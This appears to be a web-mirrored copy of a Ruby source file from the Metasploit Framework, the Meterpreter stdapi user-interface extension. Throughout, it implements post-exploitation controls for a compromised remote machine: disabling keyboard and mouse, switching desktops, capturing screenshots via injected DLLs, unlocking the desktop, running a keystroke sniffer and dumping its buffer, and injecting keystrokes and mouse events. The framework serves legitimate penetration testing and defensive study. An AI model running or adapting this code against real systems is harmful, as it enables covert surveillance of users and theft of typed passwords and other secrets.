CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/lib/rex/post/meterpreter/extensions/stdapi/ui.rb
Views: 11791
1
# -*- coding: binary -*-
2
3
require 'rex/post/ui'
4
5
module Rex
6
module Post
7
module Meterpreter
8
module Extensions
9
module Stdapi
10
11
###
12
#
13
# Allows for interacting with the user interface on the remote machine,
14
# such as by disabling the keyboard and mouse.
15
#
16
# WARNING:
17
#
18
# Using keyboard and mouse enabling/disabling features will result in
19
# a DLL file being written to disk.
20
#
21
###
22
class UI < Rex::Post::UI
23
24
include Rex::Post::Meterpreter::ObjectAliasesContainer
25
26
##
27
#
28
# Constructor
29
#
30
##
31
32
#
33
# Initializes the post-exploitation user-interface manipulation subsystem.
34
#
35
def initialize(client)
36
self.client = client
37
end
38
39
##
40
#
41
# Device enabling/disabling
42
#
43
##
44
45
#
46
# Disable keyboard input on the remote machine.
47
#
48
def disable_keyboard
49
return enable_keyboard(false)
50
end
51
52
#
53
# Enable keyboard input on the remote machine.
54
#
55
def enable_keyboard(enable = true)
56
request = Packet.create_request(COMMAND_ID_STDAPI_UI_ENABLE_KEYBOARD)
57
58
request.add_tlv(TLV_TYPE_BOOL, enable)
59
60
client.send_request(request)
61
62
return true
63
end
64
65
#
66
# Disable mouse input on the remote machine.
67
#
68
def disable_mouse
69
return enable_mouse(false)
70
end
71
72
#
73
# Enable mouse input on the remote machine.
74
#
75
def enable_mouse(enable = true)
76
request = Packet.create_request(COMMAND_ID_STDAPI_UI_ENABLE_MOUSE)
77
78
request.add_tlv(TLV_TYPE_BOOL, enable)
79
80
client.send_request(request)
81
82
return true
83
end
84
85
#
86
# Returns the number of seconds the remote machine has been idle
87
# from user input.
88
#
89
def idle_time
90
request = Packet.create_request(COMMAND_ID_STDAPI_UI_GET_IDLE_TIME)
91
92
response = client.send_request(request)
93
94
return response.get_tlv_value(TLV_TYPE_IDLE_TIME);
95
end
96
97
#
98
# Enumerate desktops.
99
#
100
def enum_desktops
101
request = Packet.create_request(COMMAND_ID_STDAPI_UI_DESKTOP_ENUM)
102
response = client.send_request(request)
103
desktopz = []
104
if( response.result == 0 )
105
response.each( TLV_TYPE_DESKTOP ) { | desktop |
106
desktopz << {
107
'session' => desktop.get_tlv_value( TLV_TYPE_DESKTOP_SESSION ),
108
'station' => desktop.get_tlv_value( TLV_TYPE_DESKTOP_STATION ),
109
'name' => desktop.get_tlv_value( TLV_TYPE_DESKTOP_NAME )
110
}
111
}
112
end
113
return desktopz
114
end
115
116
#
117
# Get the current desktop meterpreter is using.
118
#
119
def get_desktop
120
request = Packet.create_request( COMMAND_ID_STDAPI_UI_DESKTOP_GET )
121
response = client.send_request( request )
122
desktop = {}
123
if( response.result == 0 )
124
desktop = {
125
'session' => response.get_tlv_value( TLV_TYPE_DESKTOP_SESSION ),
126
'station' => response.get_tlv_value( TLV_TYPE_DESKTOP_STATION ),
127
'name' => response.get_tlv_value( TLV_TYPE_DESKTOP_NAME )
128
}
129
end
130
return desktop
131
end
132
133
#
134
# Change the meterpreters current desktop. The switch param sets this
135
# new desktop as the interactive one (The local users visible desktop
136
# with screen/keyboard/mouse control).
137
#
138
def set_desktop( session=-1, station='WinSta0', name='Default', switch=false )
139
request = Packet.create_request( COMMAND_ID_STDAPI_UI_DESKTOP_SET )
140
request.add_tlv( TLV_TYPE_DESKTOP_SESSION, session )
141
request.add_tlv( TLV_TYPE_DESKTOP_STATION, station )
142
request.add_tlv( TLV_TYPE_DESKTOP_NAME, name )
143
request.add_tlv( TLV_TYPE_DESKTOP_SWITCH, switch )
144
response = client.send_request( request )
145
if( response.result == 0 )
146
return true
147
end
148
return false
149
end
150
151
#
152
# Grab a screenshot of the interactive desktop
153
#
154
def screenshot( quality=50 )
155
request = Packet.create_request( COMMAND_ID_STDAPI_UI_DESKTOP_SCREENSHOT )
156
request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_QUALITY, quality )
157
158
if client.base_platform == 'windows'
159
# Check if the target is running Windows 8/Windows Server 2012 or later and there are session 0 desktops visible.
160
# Session 0 desktops should only be visible to services. Windows 8/Server 2012 and later introduce the restricted
161
# desktop for services, which means that services cannot view the normal user's desktop or otherwise interact with
162
# it in any way. Attempting to take a screenshot from a service on these systems can lead to non-desireable
163
# behavior, such as explorer.exe crashing, which will force the compromised user to log back into their system
164
# again. For these reasons, any attempt to perform screenshots under these circumstances will be met with an error message.
165
opSys = client.sys.config.sysinfo['OS']
166
build = opSys.match(/Build (\d+)/)
167
if build.nil?
168
raise RuntimeError, 'Could not determine Windows build number to determine if taking a screenshot is safe.', caller
169
else
170
build_number = build[1].to_i
171
if build_number >= 9200 # Windows 8/Windows Server 2012 and later
172
current_desktops = enum_desktops
173
current_desktops.each do |desktop|
174
if desktop["session"].to_s == '0'
175
raise RuntimeError, 'Current session was spawned by a service on Windows 8+. No desktops are available to screenshot.', caller
176
end
177
end
178
end
179
end
180
181
# include the x64 screenshot dll if the host OS is x64
182
if( client.sys.config.sysinfo['Architecture'] =~ /^\S*x64\S*/ )
183
screenshot_path = MetasploitPayloads.meterpreter_path('screenshot','x64.dll')
184
if screenshot_path.nil?
185
raise RuntimeError, "screenshot.x64.dll not found", caller
186
end
187
188
encrypted_screenshot_dll = ::File.binread(screenshot_path)
189
screenshot_dll = ::MetasploitPayloads::Crypto.decrypt(ciphertext: encrypted_screenshot_dll)
190
191
request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_BUFFER, screenshot_dll, false, true )
192
end
193
194
# but always include the x86 screenshot dll as we can use it for wow64 processes if we are on x64
195
screenshot_path = MetasploitPayloads.meterpreter_path('screenshot','x86.dll')
196
if screenshot_path.nil?
197
raise RuntimeError, "screenshot.x86.dll not found", caller
198
end
199
200
encrypted_screenshot_dll = ::File.binread(screenshot_path)
201
screenshot_dll = ::MetasploitPayloads::Crypto.decrypt(ciphertext: encrypted_screenshot_dll)
202
203
request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_BUFFER, screenshot_dll, false, true )
204
end
205
206
# send the request and return the jpeg image if successful.
207
response = client.send_request( request )
208
if( response.result == 0 )
209
return response.get_tlv_value( TLV_TYPE_DESKTOP_SCREENSHOT )
210
end
211
212
return nil
213
end
214
215
#
216
# Unlock or lock the desktop
217
#
218
def unlock_desktop(unlock=true)
219
request = Packet.create_request(COMMAND_ID_STDAPI_UI_UNLOCK_DESKTOP)
220
request.add_tlv(TLV_TYPE_BOOL, unlock)
221
client.send_request(request)
222
return true
223
end
224
225
#
226
# Start the keyboard sniffer
227
#
228
def keyscan_start(trackwindow=false)
229
request = Packet.create_request(COMMAND_ID_STDAPI_UI_START_KEYSCAN)
230
request.add_tlv( TLV_TYPE_KEYSCAN_TRACK_ACTIVE_WINDOW, trackwindow )
231
client.send_request(request)
232
return true
233
end
234
235
#
236
# Stop the keyboard sniffer
237
#
238
def keyscan_stop
239
request = Packet.create_request(COMMAND_ID_STDAPI_UI_STOP_KEYSCAN)
240
client.send_request(request)
241
return true
242
end
243
244
#
245
# Dump the keystroke buffer
246
#
247
def keyscan_dump
248
request = Packet.create_request(COMMAND_ID_STDAPI_UI_GET_KEYS_UTF8)
249
response = client.send_request(request)
250
return response.get_tlv_value(TLV_TYPE_KEYS_DUMP);
251
end
252
253
#
254
# Send keystrokes
255
#
256
def keyboard_send(keys)
257
request = Packet.create_request(COMMAND_ID_STDAPI_UI_SEND_KEYS)
258
request.add_tlv( TLV_TYPE_KEYS_SEND, keys )
259
client.send_request(request)
260
return true
261
end
262
263
#
264
# Send key events
265
#
266
def keyevent_send(key_code, action = 0)
267
key_data = [ action, key_code ].pack("VV")
268
request = Packet.create_request(COMMAND_ID_STDAPI_UI_SEND_KEYEVENT)
269
request.add_tlv( TLV_TYPE_KEYEVENT_SEND, key_data )
270
client.send_request(request)
271
return true
272
end
273
274
#
275
# Mouse input
276
#
277
def mouse(mouseaction, x=-1, y=-1)
278
request = Packet.create_request(COMMAND_ID_STDAPI_UI_SEND_MOUSE)
279
action = 0
280
case mouseaction
281
when "move"
282
action = 0
283
when "click", "tap", "leftclick"
284
action = 1
285
when "down", "leftdown"
286
action = 2
287
when "up", "leftup"
288
action = 3
289
when "rightclick"
290
action = 4
291
when "rightdown"
292
action = 5
293
when "rightup"
294
action = 6
295
when "doubleclick"
296
action = 7
297
else
298
action = mouseaction.to_i
299
end
300
request.add_tlv( TLV_TYPE_MOUSE_ACTION, action )
301
request.add_tlv( TLV_TYPE_MOUSE_X, x.to_i )
302
request.add_tlv( TLV_TYPE_MOUSE_Y, y.to_i )
303
client.send_request(request)
304
return true
305
end
306
307
protected
308
attr_accessor :client # :nodoc:
309
310
end
311
312
end; end; end; end; end
313
314